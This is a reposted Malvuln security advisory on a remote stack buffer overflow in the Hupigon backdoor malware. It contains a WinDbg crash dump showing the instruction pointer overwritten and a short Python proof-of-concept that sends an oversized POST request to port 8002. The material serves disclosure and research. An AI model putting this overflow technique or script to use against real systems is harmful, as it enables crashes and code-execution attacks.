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Backdoor.Win32.Hupigon.adef / Remote Stack Buffer Overflow

CVE Category Price Severity
N/A CWE-119 Not specified High
Author Risk Exploitation Type Date
Not specified High Remote 2021-02-14
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021020085

Below is a copy:

Backdoor.Win32.Hupigon.adef / Remote Stack Buffer Overflow
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c8f55ce7bbec784a97d7bfc6d7b1931f.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.adef
Vulnerability: Remote Stack Buffer Overflow 
Description: Backdoor Hupigon (Cracked by bartchen) [email protected], listens on TCP ports 8001,8002,8003,8004 and 8005. Sending a large contaminated HTTP POST request to the target on port 8002 results in a buffer overflow overwriting the instruction pointer (EIP).
Type: PE32
MD5: c8f55ce7bbec784a97d7bfc6d7b1931f
Vuln ID: MVID-2021-0045
Dropped files: 
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/21/2021

Memory Dump:
(17a8.1448): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1660 ebp=000a1680 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
Backdoor_Win32_Hupigon_adef_c8f55ce7bbec784a97d7bfc6d7b1931f+16eec2
0056eec2 8b8010050000    mov     eax,dword ptr [eax+510h]

EXCEPTION_RECORD:  0019d7d4 -- (.exr 0x19d7d4)
ExceptionAddress: 0056eec2 (Backdoor_Win32_Hupigon_adef_c8f55ce7bbec784a97d7bfc6d7b1931f+0x0016eec2)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414651
Attempt to read from address 41414651

PROCESS_NAME:  Backdoor.Win32.Hupigon.adef.c8f55ce7bbec784a97d7bfc6d7b1931f.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141 

FOLLOWUP_IP: 
user32!UserCallWinProcCheckWow+0
764faf87 689c000000      push    9Ch

FAILED_INSTRUCTION_ADDRESS: 
+0
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0019d824 -- (.cxr 0x19d824)
eax=41414141 ebx=0452c730 ecx=0019dc7c edx=00000000 esi=0046d060 edi=02850fd5
eip=0056eec2 esp=0019dc84 ebp=0019fce8 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010212
Backdoor_Win32_Hupigon_adef_c8f55ce7bbec784a97d7bfc6d7b1931f+0x16eec2:
0056eec2 8b8010050000    mov     eax,dword ptr [eax+510h] ds:002b:41414651=????????
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 41414141 to 0056eec2

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

FRAME_ONE_INVALID: 1

STACK_TEXT:  
0019dc84 0056eec2 backdoor_win32_hupigon_adef+0x16eec2
0019fcf0 41414141 unknown!printable+0x0
0019fcf4 41414141 unknown!printable+0x0
0019fdf4 764fb025 user32!UserCallWinProcCheckWow+0x9e
0019fef8 004644d8 backdoor_win32_hupigon_adef+0x644d8
0019ff64 00573179 backdoor_win32_hupigon_adef+0x173179
0019ff88 76e38654 kernel32!BaseThreadInitThunk+0x24
0019ff9c 773c4a77 ntdll!__RtlUserThreadStart+0x2f
0019ffe4 773c4a47 ntdll!_RtlUserThreadStart+0x1b


SYMBOL_NAME:  user32!UserCallWinProcCheckWow+0

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: user32

IMAGE_NAME:  user32.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  0

STACK_COMMAND:  .cxr 000000000019D824 ; kb ; dds 19dc84 ; kb

FAILURE_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_user32.dll!UserCallWinProcCheckWow

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_user32!UserCallWinProcCheckWow+0



Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=8002

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PBARBAR="POST /"+"A"*4198+"HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: "+"A"*4198
    
    s.send(PBARBAR)
    s.close()
    
    print("Backdoor.Win32.Hupigon.adef / Remote Stack Buffer Overflow");
    print("MD5: c8f55ce7bbec784a97d7bfc6d7b1931f");
    print("By Malvuln");

if __name__=="__main__":
    doit()



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